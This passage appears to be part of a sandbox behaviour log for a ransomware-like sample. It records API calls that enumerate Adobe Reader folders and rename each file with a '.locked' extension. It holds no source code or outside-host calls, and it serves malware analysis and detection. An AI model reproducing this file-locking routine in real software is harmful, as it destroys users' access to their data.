lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcb8c3000, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcb8c3000, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0068.297] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\pol\\adobeid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\pol\\adobeid.pdf.locked"), dwFlags=0x2) returned 1 [0068.456] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\pol\\defaultid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\pol\\defaultid.pdf.locked"), dwFlags=0x2) returned 1 [0068.458] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcbca13c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcbca13c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0068.541] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ptb\\adobeid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ptb\\adobeid.pdf.locked"), dwFlags=0x2) returned 1 [0068.609] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ptb\\defaultid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ptb\\defaultid.pdf.locked"), dwFlags=0x2) returned 1 [0068.611] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcbe1e180, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcbe1e180, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0068.636] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rum\\adobeid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rum\\adobeid.pdf.locked"), dwFlags=0x2) returned 1 [0068.662] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rum\\defaultid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rum\\defaultid.pdf.locked"), dwFlags=0x2) returned 1 [0068.663] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcbe905a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcbe905a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0068.808] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus\\adobeid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus\\adobeid.pdf.locked"), dwFlags=0x2) returned 1 [0068.973] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus\\defaultid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus\\defaultid.pdf.locked"), dwFlags=0x2) returned 1 [0068.976] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcc18a120, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcc18a120, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0069.067] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sky\\adobeid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sky\\adobeid.pdf.locked"), dwFlags=0x2) returned 1 [0069.149] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sky\\defaultid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sky\\defaultid.pdf.locked"), dwFlags=0x2) returned 1 [0069.152] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcc32d040, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcc32d040, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0069.177] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv\\adobeid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv\\adobeid.pdf.locked"), dwFlags=0x2) returned 1 [0069.205] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv\\defaultid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv\\defaultid.pdf.locked"), dwFlags=0x2) returned 1 [0069.207] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcc3c55c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcc3c55c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0069.272] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\suo\\adobeid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\suo\\adobeid.pdf.locked"), dwFlags=0x2) returned 1 [0069.338] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\suo\\defaultid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\suo\\defaultid.pdf.locked"), dwFlags=0x2) returned 1 [0069.340] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcc4f60c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcc4f60c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0069.413] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sve\\adobeid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sve\\adobeid.pdf.locked"), dwFlags=0x2) returned 1 [0069.486] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sve\\defaultid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sve\\defaultid.pdf.locked"), dwFlags=0x2) returned 1 [0069.489] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x809de900, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcc672e80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcc672e80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0069.810] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur\\adobeid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur\\adobeid.pdf.locked"), dwFlags=0x2) returned 1 [0070.122] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur\\defaultid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur\\defaultid.pdf.locked"), dwFlags=0x2) returned 1 [0070.124] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80861b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xccc8c6e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xccc8c6e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0070.223] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ukr\\adobeid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ukr\\adobeid.pdf.locked"), dwFlags=0x2) returned 1 [0070.593] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ukr\\defaultid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ukr\\defaultid.pdf.locked"), dwFlags=0x2) returned 1 [0070.595] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffe6ce0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd103020, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcd103020, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0071.171] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\javascripts\\jsbytecodewin.bin"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\javascripts\\jsbytecodewin.bin.locked"), dwFlags=0x2) returned 1 [0071.175] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd684300, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcd684300, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0071.177] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd684300, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcd684300, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0071.229] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cat\\license.html"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\license.html.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cat\\license.html.locked"), dwFlags=0x2) returned 1 [0071.232] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd71c880, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcd71c880, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0071.308] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\chs\\license.html"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\chs\\license.html.locked"), dwFlags=0x2) returned 1 [0071.311] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd7daf60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcd7daf60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0071.388] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cht\\license.html"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\license.html.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cht\\license.html.locked"), dwFlags=0x2) returned 1 [0071.391] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81cc37a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd899640, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcd899640, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0071.459] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cze\\license.html"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cze\\license.html.locked"), dwFlags=0x2) returned 1 [0071.461] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd931bc0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcd931bc0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0071.512] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\dan\\license.html"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\dan\\license.html.locked"), dwFlags=0x2) returned 1 [0071.514] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd9ca140, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcd9ca140, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0071.563] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\deu\\license.html"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\deu\\license.html.locked"), dwFlags=0x2) returned 1 [0071.566] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcda3c560, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcda3c560, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0071.608] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\enu\\license.html"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\license.html.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\enu\\license.html.locked"), dwFlags=0x2) returned 1 [0071.611] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcdaae980, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcdaae980, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0071.662] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\esp\\license.html"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\esp\\license.html.locked"), dwFlags=0x2) returned 1 [0071.664] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\*", lpFindFileData=0x42b320 | out: 